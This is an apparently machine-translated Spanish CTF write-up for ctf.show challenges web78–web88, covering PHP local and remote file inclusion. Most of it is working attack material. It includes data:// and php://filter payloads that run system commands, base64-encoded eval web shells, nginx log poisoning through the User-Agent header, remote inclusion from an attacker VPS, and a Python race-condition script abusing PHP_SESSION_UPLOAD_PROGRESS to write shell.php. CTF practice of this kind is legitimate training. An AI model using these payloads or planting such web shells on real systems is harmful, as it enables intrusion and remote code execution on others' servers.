web78
?file=data://text/plain,<?php system("cat flag.php");?>
O la lectura de pseudoprotocolo también funciona.
web79
?file=data://text/plain,<?= system("cat flag*");?>
o
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
Donde data: // se puede reemplazar con data:
web80
Método uno: inclusión de archivos remotos
Escriba caballo debajo de VPS y luego incluya de forma remota:
?file=http://118.***.***.***/1.txt
Método 2: el archivo de registro contiene
?file=/var/log/nginx/access.log
Así que escribe caballo en el encabezado de UA. La inclusión de archivos de registro de nginx y apache también es un punto de prueba.
web81
El método es el mismo que el de web80, pero la inclusión remota no está disponible porque se filtran los dos puntos y se puede incluir el archivo de registro.
web82
Nueva postura, aprendí lo que aprendí, un agujero muy interesante, usando PHP_SESSION_UPLOAD_PROGRESS para la inclusión de archivos de sesión y competencia condicional.
Enlace de referencia:
use session.upload_progress para la inclusión de archivos y la penetración de deserialización
Utilice este código para cargar y capturar paquetes:
<!DOCTYPE html>
<html>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
El comando a ejecutar está escrito en PHP_SESSION_UPLOAD_PROGRESS:
Luego inicie la solicitud de bucle sin parámetros de bp, preste atención a cambiar el PHPSESSID.
Por otro lado, la misma competencia condicional incluye el correspondiente archivo de sesión:
se puede obtener la bandera a través de la competencia condicional.
POST / HTTP/1.1
Host: 110205c4-0a4a-467e-82e9-ded805f240cc.chall.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://110205c4-0a4a-467e-82e9-ded805f240cc.chall.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Cookie: PHPSESSID=feng
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Length: 317
------WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system("cat fl0g.php");?>
------WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
111
------WebKitFormBoundaryvGEmmKnnXVzQVMQB--
web83
Igual que el anterior, script:
import io
import sys
import requests
import threading
host = 'http://0df0bded-da5c-4bcc-92bd-e871bb1427a5.chall.ctf.show/'
sessid = 'vrhtvjd4j1sd88onr92fm9t2sj'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
files={
"file":('a.txt', f)},
cookies={
'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
web84
Lo mismo que arriba
web85
Lo mismo que arriba
web86
Lo mismo que arriba
web87
Artículo de referencia:
Habla sobre el uso mágico de php: // filter
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570
content=aaPD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%2B
El archivo es php://filter/write=convert.base64-decode/resource=1.php
, el contenido elimina los dos primeros utilizados para completar un y luego el descifrado en base64 es<?php eval($_POST[0]);?>
web88
Aprenda la espalda y olvídese del frente. . Olvidé que el protocolo de datos también se puede omitir mediante la codificación base64, lo cual es ridículo.
Debido a que solo se filtra php, puede usar el protocolo de datos para omitir y luego la codificación base64 para omitir:
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pOw
El resultado original del cifrado base64 es PD9waHAgZXZhbCgkX1BPU1RbMF0pOw==
, pero debido a que = se filtra, es suficiente eliminar el = usado para completar.